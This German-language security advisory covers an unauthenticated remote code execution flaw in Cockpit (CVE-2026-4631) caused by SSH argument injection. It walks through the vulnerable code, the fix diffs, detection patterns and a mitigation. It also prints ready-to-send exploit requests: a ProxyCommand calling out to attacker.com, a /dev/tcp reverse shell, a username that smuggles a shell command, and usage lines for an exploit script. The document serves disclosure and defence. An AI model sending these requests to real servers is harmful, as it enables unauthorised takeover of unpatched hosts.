
Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Schweregrad | Kritisch (CVSS 9.8) |
| Betroffene Versionen | Cockpit 327 – 359 |
| Behoben in | Cockpit 360 |
| CWE | CWE-78: OS-Befehlsinjektion |
| Authentifizierung erforderlich | NEIN |
| Gemeldet von | Jelle van der Waa |
Die Remote-Login-Funktion von Cockpit übergibt vom Benutzer bereitgestellte Hostnamen (aus dem URL-Pfad) und Benutzernamen (aus dem Authorization: Basic-Header) direkt an die OpenSSH-ssh-Binärdatei, ohne jegliche Validierung oder Bereinigung.
Ein nicht authentifizierter Angreifer mit Netzwerkzugriff auf Port 9090 kann eine einzelne HTTP-Anfrage erstellen, die:
-oProxyCommand=<cmd>)%r-Token-Erweiterung von SSH ausgenutzt wirdBeide Injektionspunkte greifen vor Abschluss der Anmeldedatenüberprüfung, was bedeutet, dass kein gültiger Login erforderlich ist.

Vor Version 327 verwendete Cockpit eine dedizierte C-Binärdatei namens cockpit-ssh (basierend auf libssh) für Remote-Verbindungen. Ab Version 327 wurde diese ersetzt durch:
python3 -m cockpit.beiboot
welches den System-OpenSSH-ssh-Client aufruft. Diese Änderung führte die Schwachstelle ein, da der neue Codepfad benutzergesteuerte Werte ohne Bereinigung direkt an ssh übergibt.
---Trennzeichen vor dem HostnamenDer SSH-Client interpretiert Argumente, die mit - beginnen, als Optionen, nicht als Hostnamen, es sei denn, ein ---Trennzeichen steht davor. Ohne -- wird jeder Hostname, der mit - beginnt, als SSH-Flag geparst.
Verwundbare Konstruktion:
ssh [Optionen] <Hostname> <Remote-Befehl>
Sichere Konstruktion:
ssh [Optionen] -- <Hostname> <Remote-Befehl>
Weder cockpit-ws (C-Code) noch cockpit.beiboot (Python-Code) validiert oder bereinigt:
Authorization: Basic-Header extrahierten Benutzernamenargparse-Bug (CPython #66623)Ein bekannter CPython-Bug führt dazu, dass argparse Argumente, die mit - beginnen und Leerzeichen enthalten, falsch behandelt und sie als Positionsargumente statt als Flags interpretiert. Dadurch kann ein -oProxyCommand=evil command-Hostname die Python-Argumentanalyse passieren und als Option an ssh gelangen.
src/cockpit/beiboot.py — Primärer InjektionspunktDies ist die kritischste Datei. Die Funktion via_ssh() erstellt die Argumentliste für den SSH-Befehl.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Mit dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← Cockpit-Option
arg2: -oProxyCommand=curl http://... ← ALS SSH-OPTION GEPARST (nicht Host)
arg3: python3 -ic '# cockpit-bridge' ← wird zum "Hostnamen" → löst ProxyCommand aus
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — C-Ebene: Hostnamen-ExtraktionDiese C-Datei übernimmt die anfängliche HTTP-Anfrageanalyse und startet den Beiboot-Prozess.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Der zurückgegebene Hostname wird direkt als Argument beim Starten von Beiboot übergeben:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — Dritter InjektionspunktDie gebündelte ferny-Bibliothek (für SSH-Interaktion) weist dieselbe ---Auslassung in ihrem Subprocess-Aufruf auf.
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — Container-BereitstellungspfadDieses Skript ist der Authentifizierungsbefehl, der in Docker-/Container-basierten Cockpit-Bereitstellungen verwendet wird.
#!/usr/bin/env python3
import os, sys
# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
Dies ist ein separater Einstiegspunkt vom Hauptpfad beiboot.py, was bedeutet, dass Container-Bereitstellungen von Cockpit unabhängig verwundbar sind, selbst wenn der Hauptcodepfad gepatcht wurde.
Voraussetzung: OpenSSH < 9.6 auf dem Cockpit-Host (OpenSSH 9.6 führte eine frühzeitige Hostnamen-Validierung ein, die Shell-Metazeichen blockiert).
HTTP-Anfrage:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
Dekodierte Authorization: invalid:invalid — jeder Wert funktioniert.
So funktioniert es:
-oProxyCommand=<COMMAND> aus dem URL-Pfad als "Hostnamen"via_ssh() erstellt: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> als Option (nicht als Host)python3 -ic '# cockpit-bridge' als Hostnamen<COMMAND> als ProxyCommand aus, wenn eine Verbindung zu diesem "Hostnamen" hergestellt wird<COMMAND> läuft als Benutzer des cockpit-ws-ProzessesBeispiel — OOB-Callback:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
Dekodiertes ProxyCommand: curl http://attacker.com/id``
Beispiel — Reverse Shell:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
Dekodiertes ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%r-Token-InjektionVoraussetzung: Die ssh_config des Ziels enthält eine Match exec-Direktive, die das %r-Token (Remote-Benutzername) verwendet.
Beispiel für eine verwundbare ssh_config:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
HTTP-Anfrage:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
Dekodierte Authorization: x; touch /tmp/pwned; #:invalid
Extrahierten Benutzername: x; touch /tmp/pwned; #
So funktioniert es:
%r mit dem Benutzernamen, bevor der Match exec-Befehl ausgeführt wird/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned aus und ignoriert dann den Rest
Der Fix ist minimal — das Hinzufügen von -- (dem POSIX-End-of-Options-Trennzeichen) vor dem Zielargument an jeder Stelle, an der SSH aufgerufen wird.
src/cockpit/beiboot.py (Commit 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (Commit 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (Commit 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- das Problem behebtDas ---Token teilt Argumentparsern (sowohl Pythons argparse als auch dem OpenSSH-Optionsparser) mit, dass alle nachfolgenden Token Positionsargumente sind, keine Optionen. Nach -- wird ein Wert wie -oProxyCommand=evil als literale Hostnamen-Zeichenfolge behandelt, die SSH dann als ungültig ablehnt — es wird nie etwas ausgeführt.
Suchen Sie nach HTTP-Anfragen an den Login-Endpunkt von Cockpit, bei denen die Pfadkomponente SSH-Optionssyntax enthält:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
Achten Sie insbesondere auf:
-oProxyCommand= im URL-Pfad (Vektor 1)Authorization: Basic (Vektor 2)# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive
rpm -q cockpit-ws
# Same version check applies
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Fügen Sie zu /etc/cockpit/cockpit.conf hinzu:
[WebService]
LoginTo = false
Dies deaktiviert die Remote-Login-Funktion vollständig und verhindert, dass der Beiboot-Codepfad ausgelöst wird.
| Ressource | URL |
|---|---|
| OSS-Security-Offenlegung | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| GitHub-Sicherheitshinweis | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Bugzilla-Problem | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Fix-Commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix-Commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython-argparse-Bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH-9.6-Hostnamen-Validierung | https://github.com/openssh/openssh-portable/commit/7ef3787 |